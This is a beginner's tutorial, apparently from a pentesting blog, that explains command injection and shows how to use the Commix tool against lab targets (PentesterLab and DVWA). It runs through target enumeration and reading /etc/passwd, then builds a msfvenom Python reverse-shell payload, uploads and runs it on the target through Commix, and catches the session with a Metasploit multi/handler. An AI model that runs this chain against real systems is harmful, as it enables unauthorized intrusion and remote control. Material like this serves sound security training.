Commix-Command Injection Exploiter (Beginner’s Guide)

Commix-Command Injection Exploiter (Beginner’s Guide)

In this article, we learn how to use Commix from scratch by using all the basic commands and going all the way to the advance ones.

Table of Content

•         Introduction to command injection
•         Introduction to Commix
•      Working of Commix
•      Types of Commix

·        Requirements

Introduction to command injection

Command injection is also known as shell injection or OS injection. Command injection is one of the top 10 OWASP vulnerability. it's an attack in which arbitrary commands of a host OS are executed through a vulnerable application. Such attack is possible when a web application sends unsafe user data to the system shell. This user data can be in any form such as forms, cookies, HTTP headers, etc. Mostly the vulnerability command injection rises due to insufficient input validation. In this attack, the default functionality of the application is extended by attacker who then executed the system commands with injecting code which makes it different from code injection.

The process of command injection was accidently discovered in 1997 by a programmer in Norway. This accident lead to deletion of web pages of a site. SQL command injection is the most popular form of command injection. Through this attack an attacker adds SQL code to the input box in order to gain access. Web applications are compulsory for such attacks as we communicate with the underlying OS via such web applications.

Introduction to Commix

Commix tool is an automated for exploiting the vulnerability of command injection in web applications. This tool is written in python which means it is compatible with Linux, windows and mac. It comes pre-installed in Kali Linux, BlackArch and Parrot OS. This tool makes it very easy to find vulnerabilities related to command injection and then further exploit them. The user-friendliness of commix makes it very convenient for everyone, such as web developers, pen testers or security researchers, to use it.

It provides user with a lot of options such as including the ability to specify parameters that you need to connect to host, enumeration of victim, accessing files and their modification along with an offline mode. Hence, it’s pretty useful asset in order to exploit command injection vulnerability.

Working of commix

Commix has various command options which you can use to find and connect with the target application. Few of the options target URL are via data strings, HTTP headers, cookies and authentication parameters. There are various enumerations options present too. Commix supports two command injection techniques i.e. result-based command injection technique and blind command injection technique. Result based command injection is the once where commands are reflected back to the attacker in the web application. Whereas blind command injection technique is persuading when the response is not reflected on web application.

Types of Command Injection in Commix

Result based command injection

This type of injection attack will let you deduce the result of the injected command through the result of web application. It is further divided in to two categories :

·        Classic result based injection : This is the most commonly used type of command injection and is the simplest of all. In this, several common operators are used which either links genuine commands with the injected ones or exclude the initial commands altogether and goes ahead to execute the injected ones only. this further divides into 3 categories i.e. Shellshock, ICMP exfiltration, DNS exfiltration.

·        Eval-Based technique : This technique is used where the targeted web application is vulnerable to eval() function. This eval function is used to execute the peculiar code that is defined in the said function during run time.

Blind Command Injection

The way that the data is retrieved after the execution of injected shell command is the main difference between the working of both the types. In the case where web application does not give any result back to attacker; blind command injection is used. There are further two types of blind command injection :

·        Time-based Technique : Using this technique will delay the time of the execution of command that is injected. By checking how much time the application took to revert will able the attacker to determine whether the command is executed successfully or not.

·        File-based Technique : If you are not able to determine the result of the web application through its reaction, then this technique comes in handy as it will allow you to write the set of commands that is to be injected in the file accessible to the attacker. Working of this technique is similar to that of result based technique.

Requirements

·        DVWA

·        PentestLab

·        Kali Linux

·        Commix Tool

Some of the practical we will do in pentestlab for Linux and others we will perform on DVWA for windows.  Let’s start with the practical of commix. First we will use help command to check all the options that we use to exploit target via commix.

commix –h

Now let’s try and get a commix session using the URL. For this, use the URL that is vulnerable to the command injection, here, we will pentesterlab’s URL as shown in the image below :

Use the following command to have a commix session through URL :

commix –u

And so, with this command you get a commix(os_shell) as shown in the image below :

Now, let’s use the batch command to have the commix session by default and for this use the following command :

commix –u --batch

Now, as you can see in the above image, we have directly entered the session by default. Now, to get all the basic information about the target use the following command :

commix –u --all

As shown in the image above, using the above command will give you all the basic information about the target. Next, with the help of following command we can know the current user of target :

commix –u --current-user

As a result of the above command, you can see in the above that current user is www-data. Now, we can also find out the hostname by using following command :

commix –u --hostname

Hence, the host is debain. Now, the ques is how we can determine whether out target is rooted or not. So, for this, we have the following command :

commix –u --is-root

This way we found that our target was not rooted. Use the following command to have the information about the system :

commix –u --sys-info

Upon executing the above command, we now have the system information. To have information about users, use the following command :

commix –u --users

And this way, we have a list of all the users. Next command is used to know about the admin of the system :

commix –u --is-admin

And again you can see that the target is not admin. Now to read the contents of a desired file, we can use the following command :

commix –u --file-read=/etc/passwd

And the results of the above command are shown in the image above. Our next practicals are performed on DWVA (windows environment)

Captured the cookies of submitted request using BurpSuite.

Now, we use this content of cookie to validate our session using the parameters ‘—cookie’ and ‘—data’. These two parameters are used to send data string in order to exploit POST method and to validate our session simultaneously. For this, use the following command :

commix –u --cookie="security=low; PHPSESSID=4029asg19ejeuibfq30d7lc1o8" --data="ip=127.0.0.1&Submit=Submit"

With the help of above the command we will directly have a session as shown in the image above. Now, we will create a malware file using msfvenom. Type the following command to generate your malware :

msfvenom –p python/meterpreter/reverse_tcp lhost=192.168.1.100 lport=1234 –f raw > venom.py

Now, we will use the above file and upload it in our target by using the following command :

commix -u http://192.168.1.23/dvwa/vulnerabilities/exec/ --cookie="PHPSESSID=4029asg19ejeuibfq30d7lc1o8; security=low" --data="ip=127.0.0.1&Submit=Submit" --file-write="/root/venom.py" --file-dest="/tmp/venom.py" --os-cmd="python /tmp/venom.py"

Now, the above command will upload and run our malware in target machine. You can use multi/handler to get a session and for this use the following set of commands :

use exploit/multi/handler

set payload python.meterpreter/reverse_tcp

set lhost eth0

set lport 1234

run

And this way, as shown in the image, you will have a meterpreter session. This is how you can use commix, a third party automated tool, to your advantage.